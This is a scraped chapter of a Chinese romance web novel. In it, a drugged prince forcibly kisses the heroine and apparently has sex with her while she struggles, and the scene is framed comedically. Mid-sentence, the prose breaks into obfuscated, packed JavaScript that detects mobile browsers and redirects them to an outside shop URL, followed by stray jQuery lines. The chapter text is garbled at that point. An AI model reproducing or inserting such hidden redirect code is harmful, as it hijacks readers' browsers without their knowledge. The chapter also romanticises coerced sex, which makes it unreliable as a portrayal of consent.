123读书网 > 玄幻小说 > 王妃她稳如老狗 > 14. 他中药为什么倒霉的是她?

14. 他中药为什么倒霉的是她?

    枝枝是被一阵不对劲的热意弄醒的。


    迷迷糊糊中,她以为是自己睡姿不对,西斜的太阳晒得太过。正想翻个身继续睡,却发觉那股热源离她极近,近到匪夷所思的地步。


    太阳被后羿射在她脸上了?


    她懵懵懂懂地睁开眼。


    然后整个人僵住了。


    映入眼帘的,是一张放大的脸。面颊通红,额头渗着细密的汗珠,眉头紧锁,嘴唇紧抿,像是在极力忍耐什么。


    “萧……萧衍?!”


    枝枝的瞌睡虫瞬间死光。她一骨碌坐起来,惊恐地看着面前这个明显不对劲的男人。


    他什么时候来的?怎么进来的?她睡了多久?没说一些不着调的梦话吧?


    脑子里一堆问题还没理清,枝枝的目光扫过案几,整个人更是如坠冰窖。


    那盘桂花糕!


    那盘周氏送来的掺着春药的桂花糕!


    那盘她当做对峙的证据没有销毁的桂花糕!


    此刻盘子边缘空了一块,明显少了几块。


    枝枝整个人都傻了。


    “你你你!”她指着那盘糕,又指着他,奔溃道,“你吃了?!你咋吃了啊!你不是不喜欢吃甜的吗?!”


    萧衍没有回答。


    他唇边溢出细碎的压抑的呻吟,闻言抬起双眼,那双桃花眼此刻布满血丝,眸底一片猩红,亮得吓人。


    他死死盯着她,呼吸粗重,整个人像是被架在火上烤。


    “你……”他艰难地吐出几个字,声音沙哑得不像话,“放了……什么?”


    枝枝疯狂摆手,生怕被他当成凶手:“不是我!不是我!是你小老婆干的!周侍妾送来的!”


    萧衍盯着她,没有说话,只是呼吸越来越重。


    枝枝慌了。


    她从榻上跳下来,想往外跑:“我去叫府医!你等着!翠——”


    话音未落,手腕一紧。


    萧衍不知何时已经站起身来,一只手牢牢扣住了她的手腕,力道大得惊人。那掌心滚烫的温度透过皮肤传过来,烫得枝枝一激灵。


    “你……”


    她抬头,对上那双猩红的眼睛,心头警铃大作。


    这眼神……不对劲。非常不对劲。


    没吃过猪肉还没见过猪跑吗?弄懂里面的意思后,枝枝彻底慌了。


    “我、我去叫府医……”她声音发虚,用力想把手抽回来,“你放开我,我很快就回……”


    话没说完,一股大力猛地将她扯了回去。


    枝枝只觉得天旋地转,等反应过来时,整个人已经跌进一个滚烫的怀抱。


    那温度隔着衣料透过来,烫得她头皮发麻。她能感觉到他的心跳,快得像要从胸腔里蹦出来,一下一下撞在她背上。


    “别……别走。”他的声音就在耳边,低沉,却带着说不出的魅惑。


    枝枝僵在他怀里,一动不敢动。


    她能感觉到他的身体在发抖,能感觉到他的呼吸烫着她的后颈,能感觉到他抱着她的手臂越收越紧,能感觉到,事情正向着一个可怕的方向发展。


    “萧衍……”她弱弱地开口,“你、你还好吗?”


    没有回答。


    只有粗重的呼吸,和她自己擂鼓一般的心跳。


    她小心翼翼地想回头看看他的状况,刚一动,就被他箍得更紧。


    “别动。”他的声音愈发低沉,带着某种危险的意味。


    枝枝连忙闭嘴,连话都不敢说了。


    时间像是被无限拉长。她不知道过了多久,只知道他的怀抱越来越烫,他的呼吸越来越重,他的心跳越来越快。


    啊啊啊,怎么办怎么办!


    怎么我好像没中计又好像中计了啊!


    要不要……用手帮他?至少能保得了一时清白……


    我的妈呀,这也太羞耻了!


    这都是啥事啊!


    像是下定了决心,枝枝在他怀里动了下:“萧衍?”


    没有回应。


    “萧衍?”她又试探着叫了一声,“你……晕过去了?”


    还是没有回答。


    她咬咬牙,小心翼翼地转过头去,想看看他的脸。


    突然,萧衍仿若诈尸一般,伸出滚烫的手按上她的后颈,带着强势的力量,不由分说地把她往他面门上带。


    下一秒,滚烫的唇覆了上来。


    枝枝的双眼猛地瞪大。


    脑子里“轰”的一声,一片空白。


    等会等会等会!


    这什么情况?!


    她被亲了?!


    这可是她的初吻啊!


    大猪蹄子使诈啊!


    不对,这狗男人中药了,他不知道自己在做什么,也没处去说理啊!


    她用力挣扎起来,想推开他。可她那点力气,在中药的萧衍面前简直像是蚍蜉撼树。他一只手就把她两只手腕攥住,另一只手扣住她的后脑,将她牢牢固定在怀里。


    “唔……萧衍……你放开……唔……狗男人……”


    她的话全被堵了回去。


    这个吻毫无章法,带着药性驱使下的急切和滚烫,枝枝被吻得头晕目眩,缺氧让她的挣扎越来越无力。


    完了完了完了。


    今天要交代在这儿了。


    可是这人不是不喜欢吃甜的吗?!


    他怎么就吃了呢!


    难道是狗男人和小老婆联合起来,就是为了睡她?!


    脑子里最后一个清醒的念头闪过,然后就被一波又一波的热浪淹没了。


    屋内的动静越来越大。


    起初是挣扎的声响,什么东西被碰倒的声音,还有几声含糊的呜咽。


    翠儿守在门外,听着那些声音,脸越来越红。


    她看向不远处的南风。


    南风也看着她。


    两人对视一眼,都从对方眼里看到了同样的尴尬。


    “这……”翠儿艰难地开口,“这是打起来了吗?”


    南风沉默了三秒,凭借内功听清了里面的动静。


    那哪里是打架,分明是……


    他面无表情地转过头,耳根却红透了。


    “不是。”他简短地说。


    “那是什么?”翠儿下意识地问了一句


    南风没回答。


    翠儿也终于后知后觉地反应过来,脸红得像煮熟的虾子,恨不得找个地缝钻进去。


    “那、那我们怎么办?”


    南风深吸一口气,尽职尽责地守住了门口,声音平稳:“守着。不许任何人靠近。”


    翠儿捂着脸点头。


    于是两人就这么站在门口,一个面红耳赤地捂着脸,一个面无表情地望天,假装自己什么都听不见。


    月亮悄悄爬上来,又悄悄躲进了云里。


    枝枝不知道自己是怎么从榻边被挪到床上的。


    她只知道自己的脑子已


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263337|198067||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    经完全不够用了,所有的理智都被烧成了灰烬。


    萧衍不知什么时候醒了,眼睛红得像要滴血,却还在看她。那种目光让她心悸,像是要把她整个人都看进去。


    “枝枝……”他忽然喊她的名字,声音沙哑得几乎辨不出原来的音色。


    枝枝一愣。


    他可从来没这样叫过她。


    她还没反应过来,那滚烫的唇又落了下来。


    这一回比方才温柔了些,却更缠绵,更让她无处可逃。她被他吻得七荤八素,连自己什么时候停止挣扎的都不知道。


    等她再回过神来时,外头的天已经彻底黑了。


    她躺在那里,浑身发软,脑子一片混沌。


    萧衍就躺在她身边,呼吸渐渐平稳下来,像是终于睡着了。


    枝枝侧过头,看着他被烛光映得忽明忽暗的侧脸。


    那张脸上还残留着不正常的红晕,眉头微微皱着,像是在做什么不好的梦。可他的嘴角,却是微微翘着的。


    枝枝盯着那张脸看了很久。


    然后她想起一件事。


    不对啊!


    一般的媚药不是一次就好了嘛?


    这算啥事?还有余波?


    她怎么这么倒霉啊!


    她懊恼地翻了个身,把脸埋进枕头里。


    她守了这么多年的清白,就这么交代给了一个中了药的男人。


    虽然这男人是她名义上的夫君没错。


    可这夫君,平时看她还像看贼一样啊!


    ……


    越想越乱。


    枝枝索性不想了。


    反正事已至此,想那么多也没用。明天的事,明天再说吧。


    她闭上眼睛,听着身边那人平稳的呼吸声,不知怎的,竟迷迷糊糊睡着了。


    第二天,枝枝是被一阵刺眼的阳光晃醒的。


    她动了动,浑身酸疼,像是被车碾过一样。昨晚的记忆断断续续地浮上来,让她还没睁眼,脸就先红了。


    她悄悄地把眼睛睁开一条缝。


    旁边是空的。


    萧衍不知道什么时候已经走了。


    枝枝愣了愣,心里忽然涌上一股说不清的情绪。


    像是松了口气,又像是有点……失落。


    失落什么失落!她在心里骂自己。他不在了最好!省得尴尬!


    她挣扎着坐起来,低头一看——


    衣衫凌乱,惨不忍睹。


    她默默地移开目光,决定假装什么都没看见。


    “翠儿!”她扯着嗓子喊了一声,却发现自己的声音也哑得不像话。


    翠儿很快推门进来,手里端着热水和帕子,眼睛不敢看她,脸却红得像猴屁股。


    “王妃……”翠儿低着头,把帕子递过来,“您、您先洗漱……”


    枝枝接过帕子,沉默了三秒,问:“王爷呢?”


    翠儿的声音更小了:“王爷……一早就走了。走之前说……说……”


    “说什么?”


    “说让王妃好好休息。”


    “没了?”


    翠儿点了点头。


    枝枝“哦”了一声,帕子落在凌乱的床榻上。


    她望着窗外的阳光,心想:她这个夫君,好像不愿意负责呐。


    罢了,本来就是逢场作戏,迫不得已而已。


    何必想太多呢?


    窗外的阳光,透过那纱窗,照不暖清晨的内室。